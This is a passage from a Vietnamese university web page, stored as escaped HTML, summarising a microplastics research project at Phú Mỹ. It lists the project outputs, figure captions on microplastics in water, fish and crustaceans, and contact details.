* S\u1ea3n ph\u1ea9m m\u1ec1m: B\u00e1o c\u00e1o t\u1ed5ng k\u1ebft\/ b\u00e1o c\u00e1o t\u00f3m t\u1eaft k\u1ebft qu\u1ea3 nghi\u00ean c\u1ee9u c\u1ee7a \u0111\u1ec1 t\u00e0i \u0111\u01b0\u1ee3c chu\u1ea9n b\u1ecb t\u1ed1t, \u0111\u1ea7y \u0111\u1ee7 n\u1ed9i dung, c\u1ea5u tr\u00fac ph\u00f9 h\u1ee3p v\u00e0 gi\u1ea3i quy\u1ebft \u0111\u01b0\u1ee3c c\u00e1c n\u1ed9i dung nghi\u00ean c\u1ee9u.
03 b\u00e0i b\u00e1o khoa h\u1ecdc, g\u1ed3m 2 b\u00e0i Q2 v\u00e0 1 b\u00e0i Q1
* S\u1ea3n ph\u1ea9m c\u1ee9ng: Kh\u00f4ng.
* S\u1ea3n ph\u1ea9m \u0111\u00e0o t\u1ea1o:
\u0110\u00e0o t\u1ea1o th\u00e0nh c\u00f4ng 02 Th\u1ea1c s\u0129<\/p><\/td><\/tr>

13.<\/strong><\/p><\/td>

H\u00ecnh \u1ea3nh gi\u1edbi thi\u1ec7u k\u1ebft qu\u1ea3 <\/strong>(1-2 h\u00ecnh ti\u00eau bi\u1ec3u)<\/em><\/p><\/td>

\"\"
H\u00ecnh 1. H\u00ecnh r\u00e1c th\u1ea3i vi nh\u1ef1a n\u01b0\u1edbc m\u1eb7t \u1edf Ph\u00fa M\u1ef9
<\/strong><\/p>

\u00a0<\/p>

\"\"
H\u00ecnh 2. T\u00edch t\u1ee5 vi nh\u1ef1a trong m\u1eabu c\u00e1 n\u00e2u Scatophagidae \u1edf Ph\u00fa M\u1ef9<\/strong><\/p>

\"\"
H\u00ecnh 3. T\u00edch t\u1ee5 vi nh\u1ef1a trong \u0111\u1ed9ng v\u1eadt gi\u00e1p x\u00e1c Moina macrocopa<\/strong><\/p><\/td><\/tr>

14.<\/strong><\/p><\/td>

Th\u00f4ng tin li\u00ean h\u1ec7 CN\u0110T<\/strong><\/p><\/td>

Email: Email: son.trinh.ier@gmail.com<\/p><\/td><\/tr>

15.<\/strong><\/p><\/td>

Li\u00ean h\u1ec7 \u0110HQG-HCM<\/strong><\/p><\/td>

Ban Khoa h\u1ecdc v\u00e0 C\u00f4ng ngh\u1ec7 (Ph\u00f2ng 309, N\u0110H) v\u00e0 Trang \u0111i\u1ec7n t\u1eed th\u00f4ng tin v\u1ec1 ho\u1ea1t \u0111\u1ed9ng KH&CN (https:\/\/research.vnuhcm.edu.vn\/)<\/p><\/td><\/tr><\/tbody><\/table>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

\n\t\t\t\t
\n\t\t\t\t\t\t\t\t\t

Vi\u1ec7n M\u00f4i tr\u01b0\u1eddng v\u00e0 T\u00e0i nguy\u00ean,\u00a0<\/strong><\/em>\u0110HQG-HCM<\/span><\/em>
Ng\u00e0y 30<\/strong><\/em> th\u00e1ng 10 n\u0103m 2024<\/strong><\/em><\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t

\n\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t